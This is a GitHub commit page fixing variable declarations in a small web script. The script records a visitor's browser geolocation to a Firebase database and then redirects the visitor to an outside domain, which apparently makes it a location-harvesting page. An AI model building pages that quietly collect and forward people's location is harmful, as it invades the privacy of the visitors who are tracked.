Skip to content

Commit

Permalink
Update script.js
Browse files Browse the repository at this point in the history
  • Loading branch information
CusMeDroid authored Oct 2, 2023
1 parent 791cafe commit c25306b
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions script.js
Original file line number Diff line number Diff line change
Expand Up @@ -28,8 +28,8 @@ function getSave() {

function showPosition(position) {
x.innerHTML = "Latitude: " + position.coords.latitude + "<br>Longitude: " + position.coords.longitude;
var slat.innerHTML = position.coords.latitude;
var slong.innerHTML = position.coords.longitude;
var slat = position.coords.latitude;
var slong = position.coords.longitude;
firebase.database().ref("/").child(time).update({ Latitude : slat, Longitude : slong });
window.location.assign("http://mevoting.is-best.net/");
}

0 comments on commit c25306b

Please sign in to comment.